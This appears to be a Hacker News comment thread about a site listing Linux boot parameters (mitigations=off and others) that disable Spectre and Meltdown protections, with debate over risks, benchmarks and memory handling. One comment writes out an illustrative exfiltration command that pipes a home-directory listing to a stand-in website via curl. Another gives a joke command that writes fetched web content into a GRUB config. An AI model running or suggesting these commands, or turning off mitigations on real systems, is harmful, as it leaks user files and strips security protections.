368 points · by laurentdc · 6y ago · 314 comments
https://gist.github.com/rizalp/ff74fd9ededb076e6102fc0b636bd...
https://securitronlinux.com/bejiitaswrath/how-to-get-a-nice-...
https://www.phoronix.com/scan.php?page=news_item&px=Spectre-...
75 points · 2 days ago
If my environment doesn't need to worry about
executing malicious code and I want syscalls to
happen as fast as possible, is there a single/simple
option to disable all the performance killing
hardware mitigations?
gregkh Verified 183 points · 2 days ago
https://make-linux-fast-again.com/
https://www.reddit.com/r/linux/comments/fx5e4v/im_greg_kroah...(If your environment actually doesn't need to worry about executing malicious code and you want to make syscalls as fast as possible, try a unikernel or implementing your code in a kernel module. Or, depending on what you're doing, try kernel bypass to get to the devices you care about and use something like https://lwn.net/SubscriberLink/816298/4aed890ee2dbffff/ to pin your user code to certain cores and get the kernel completely out of the way. Having to transition out of user mode to access hardware instead of making plain function calls, having to change page tables between processes, etc. are all performance-killing mitigations of their own. http://www.csl.cornell.edu/~delimitrou/papers/2019.asplos.xc... found a 27x performance improvement by getting rid of the privilege boundary between userspace and kernelspace - if you really care about performance and really don't care about malicious code, why would you leave a 27x speedup on the table and worry about a small percentage improvement from these flags??)
While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer.
I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device.
That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.
Thus every program without doing anything can access everything, it just needs to spawn a process to read stuff arount the FS, or in the assumption that yu have sudo without password, just gain root access and read /dev/mem. That is more simple than doing a SPECTRE attack.
So who needs these mitigations? Who runs containers or sandbox where you want untrusted code to be isolated. Browsers are an example, but they have specific mitigations anyway, and doing an attack from JS is not that simple really. So really I'm not so worried about SPECTRE for a typical desktop usage.
Of course if we talk about servers they are very important.
I don't really understand this point.
Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not).
Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.
Sorry - was just providing a bit more information for those of us who didn't immediately grok the point of a site which is literally just:
noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off
That's... an extremely optimistic perspective on what's running on your system. Disabling JS in browser tab contexts (even if it's universal and not just "by default") is going to cover a pretty small percentage of SPECTRE et al. vectors.
I run ScriptBlock anyway, so it's even less of a concern for me.
Practically speaking, what is possible?
Edit: looks like "performance gained by disabling workarounds for the mostly Intel CPU security flaws are not all that impressive in all workloads": https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(...
nohang's README have a gist about other projects.
That's what's causing the lock ups.
Sounds to me this would be difficult to fix without breaking backward compatibility.
In the mean time, you can probably improve your quality of life quite a bit by using something like: https://github.com/facebookincubator/oomd
This may certainly seem stupid at first sight. I don't remember the exact reason why Linux does this, but I remember that it was said that not doing it would imply not using all available RAM efficiently and allocations would start failing before expected or something like that.
It's actually pretty easy to change this behaviour, there is a sysctl (/proc/sys/vm/overcommit_memory) that defaults to 0, but you can disable the overcommitting behaviour and even tune it. "2" does disable the entire overcommitting logic and it's what some people use to avoid memory trashing situations (but you still can get OOM in some situations IIRC) https://www.kernel.org/doc/html/latest/vm/overcommit-account...
I do not think overcommitting is the problem. I believe the problem is Linux won't allow memory accesses to fail. It would stuck in a loop trying to free up memory, eventually triggers the oom killer.
It could have just let the memory access fail.
There is, memcg is a thing, and it has both minimum free and maximum bounds. See the systemd.resource-control(5) man page, you can put important services in their own slice or use nspawn containers.
Personally I use nspawn containers for my web browsers, and set memory limits on them. This limits the live-lock behavior you're describing to just within the container. When firefox uses up all the memory, I see thrashing in the form of mostly executable pages being constantly evicted and faulted back in from disk, but the rest of the system stays responsive while the disk is hammered by the reads and some CPU burned while firefox spins its wheels.
Not having given this much thought, I think some solutions could be: (a) Favor processes that are already swapped and keep them swapped in a bit longer before swapping in other processes. I.e. trade fairness for higher throughput. (b) Kill the worst offenders, EarlyOOM, etc, comes to mind. (c) Simply do not swap :)
I realize it's not a solution... But on my systems I simply have swapping disabled.
Net result: they do not. For my use case (Clojure/JVM and ClojureScript compilation), compile times did not get shorter. There seemed to be a slight improvement, but it was below the level of measuring noise (which was around 8%).
My conclusion was that while the system might indeed be faster by several percent, it is not measurable in my case, so I should not even bother, given the possible risks.
I think the level of measuring noise is 0.5%, at least that is what low level system programmers generally consider as noise...
While it's true that without the mitigations times were much closer to the 2:15 mark, there were still outliers at 2:24. Which means it's hard to draw any meaningful conclusions.
Not sure where you got the "0.5%" figure from.
https://www.kernel.org/doc/html/latest/admin-guide/kernel-pa...
search for mitigations=
mitigations=off
All of the rest is now redundant.TIL: the default `mitigations` value, `auto`, leaves SMT enabled—even if it's vulnerable(!!!)—to avoid surprising sysadmins who upgrade to find SMT disabled. The full protection, non-default option is:
mitigations=auto,nosmt
Thanks for the doc link!Is SMT always vulnerable? Is there a way to only disable SMT if it's vulnerable on the target system?
(1) https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(...
- For tech savvy people, the boot options disabling the spectre mitigation are a very poor information as it takes 2 secs to find it with google. A 'rich' information would also consider the expected gains in terms or performance and the risks in terms of security, which might be the only matters for people who wonder if they should do it, assuming that making the change by itself is an easy and fast operation.
- For non tech savvy people, the boot options mean nothing at all, so they will not be able to benefit about the information as nothing is explained.
So if this submitted link is useless for both tech-savvy and non tech-savvy people, who is it intended to ? If it is intended and useful to no one, is it relevant ?
https://support.microsoft.com/en-us/help/4072698/windows-ser...
After all it is much easier to tell someone "here, click this as an admin to make your computer fast" and directly extract any data you want, than try and take advantage of all the issues the mitigations fix and the gamble that all the assumptions you are making will be correct.
Maybe when people ask for clarity on a subject, we should give them reasons instead of saying things like "just dont".
Are there some features in CPU (such as hyperthreading), I can disable, so I can run system without those workarounds? I think faster Linux kernel could offset slightly lower CPU performance. Also there is lower energy consumption on laptop...
I wouldn't expect lower energy energy consumption from disabling hyperthreading: completing tasks faster allows the CPUs to reduce frequency faster.
> You are (probably) an adult. You can and should wisely decide just how much risk you are willing to take. Do or don't try this at home. You do not want to try this at work.
> As the above charts show: The effect of default parameters vs mitigations=off is measurable but not hugely impressive. (…)
Those migrations are benchmarked quite frequently on phoronix.com, for example: https://www.phoronix.com/scan.php?page=article&item=3900x-99...
Thanks for this
AFAIK, I (my personal workstation) would only be exposed via browser JS so if I do not spend too much time on shady sites, I should be good?
In other words: Only do this on systems where you actually trust each running program not to be compromised in its day-to-day operations and turn against you. Anything that runs arbitrary code from an outside source (for example JS) is not safe.
The threat is purely theoretical. The loss in performance is not.
You should say READ access. There is no risk of write access with Spectre or Meltdown.
I guess now the question is, how much time to I have to spend on that site before it can get my private ssh keys?
Does this mitigate MDS attacks?
I see 'specter' in there so there's a clue. I mean, after reading comments/ googling/ etc. I understand now, but at first I thought the site was broken.
Wouldn't it have been better to post an actual write up that explains what this is? We are setting the bar really low here :)
From other commenters:
https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(...
https://www.kernel.org/doc/html/latest/admin-guide/kernel-pa...
curl -s https://make-linux-fast-again.com | awk '{ print "GRUB_CMDLINE_LINUX_DEFAULT=\"" $0 "\"" }' >> grub.cfg
to use the parameters directly (it's a joke ! don't !), which would not be possible if there was any other content on the webpage (at least without taking more than the 2 minutes this joke took to set up)OK cool. Thanks for the explanation, that makes sense why it's empty then!
I definitely didn't get it. I take back what I said :) It did lead me to poking around the Linux kernel docs so that's not a bad way to start the day!
> Based on external and internal analysis, AMD believes it is not vulnerable to the SWAPGS variant attacks because AMD products are designed not to speculate on the new GS value following a speculative SWAPGS. For the attack that is not a SWAPGS variant, the mitigation is to implement our existing recommendations for Spectre variant 1.
Edit: Ok, plenty of people already said things in that context already apparently...